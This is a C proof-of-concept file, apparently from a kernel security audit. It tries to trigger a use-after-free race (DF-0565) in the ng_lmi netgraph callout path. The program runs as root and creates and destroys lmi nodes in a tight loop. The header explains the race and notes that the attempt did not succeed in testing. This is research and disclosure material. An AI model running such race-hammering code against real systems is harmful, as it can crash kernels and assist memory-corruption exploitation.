/*
 * DF-0565 -- hammer the shipped ng_lmi callout race
 *
 * The SHIPPED ng_lmi (sys/netgraph/lmi/ng_lmi.c) has the milder form of
 * DF-0565: nglmi_disconnect (line 1081) calls callout_stop (non-sync)
 * then ng_rmnode -> nglmi_rmnode -> kfree(sc). If LMI_ticker is currently
 * running (inside crit_enter at line 277) when callout_stop is invoked,
 * callout_stop is a no-op; LMI_ticker continues, reschedules the next
 * firing, then exits. nglmi_rmnode then kfrees sc. The rescheduled callout
 * fires into freed memory -> UAF.
 *
 * The ng7_lmi variant of the bug is more direct: nglmi_shutdown does not
 * call ng_uncallout AT ALL. That code path is not in the shipped module.
 *
 * This PoC attempts the race by repeatedly creating+destroying lmi nodes
 * in a tight loop. The race window is microseconds (between LMI_ticker
 * entering crit and the reschedule call). On the audit guest this did not
 * trigger in 60s of trying (race is too tight for uninstrumented triggering).
 *
 * Build: cc -O2 -o df0565 df0565.c
 * Run:   ./df0565    (as root; PF_NETGRAPH control sockets need root)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/lmi/ng_lmi.h>

#define NG_CONTROL 2

struct ng_mesg_buf {
    struct ng_mesg hdr;
    char data[256];
};

static int
ng_cmd(int cs, const char *path, u_int32_t cookie, u_int32_t cmd,
       const void *arg, size_t arglen)
{
    struct ng_mesg_buf m;
    struct sockaddr_ng dst;
    size_t total = sizeof(m.hdr) + arglen;
    memset(&m, 0, sizeof(m));
    m.hdr.header.version = NG_VERSION;
    m.hdr.header.typecookie = cookie;
    m.hdr.header.cmd = cmd;
    m.hdr.header.arglen = arglen;
    snprintf(m.hdr.header.cmdstr, sizeof(m.hdr.header.cmdstr), "cmd%u", cmd);
    if (arglen) memcpy(m.hdr.data, arg, arglen);
    memset(&dst, 0, sizeof(dst));
    dst.sg_family = AF_NETGRAPH;
    dst.sg_len = sizeof(dst);
    strncpy(dst.sg_data, path, sizeof(dst.sg_data)-1);
    return sendto(cs, &m, total, 0, (struct sockaddr *)&dst, dst.sg_len);
}

static int
ng_mkpeer(int cs, const char *path, const char *type,
          const char *ourhook, const char *peerhook)
{
    struct ngm_mkpeer mk;
    memset(&mk, 0, sizeof(mk));
    strncpy(mk.type, type, sizeof(mk.type)-1);
    strncpy(mk.ourhook, ourhook, sizeof(mk.ourhook)-1);
    strncpy(mk.peerhook, peerhook, sizeof(mk.peerhook)-1);
    return ng_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
}

static int
ng_rmhook(int cs, const char *path, const char *ourhook)
{
    struct ngm_rmhook rh;
    memset(&rh, 0, sizeof(rh));
    strncpy(rh.ourhook, ourhook, sizeof(rh.ourhook)-1);
    return ng_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_RMHOOK, &rh, sizeof(rh));
}

int
main(int argc, char **argv)
{
    int cs, iters = (argc > 1) ? atoi(argv[1]) : 500;
    int i;

    cs = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (cs < 0) { perror("socket"); return 2; }

    printf("[*] racing create/destroy %d times (race window ~us)\n", iters);
    for (i = 0; i < iters; i++) {
        if (ng_mkpeer(cs, ".", "lmi", "annexA", "annexA") < 0) {
            if (errno != EEXIST) {
                fprintf(stderr, "mkpeer #%d: %s\n", i, strerror(errno));
                break;
            }
        }
        /* immediately tear down -- race vs LMI_ticker */
        ng_rmhook(cs, ".", "annexA");
    }
    printf("[*] done; check dmesg / guest health\n");
    close(cs);
    return 0;
}
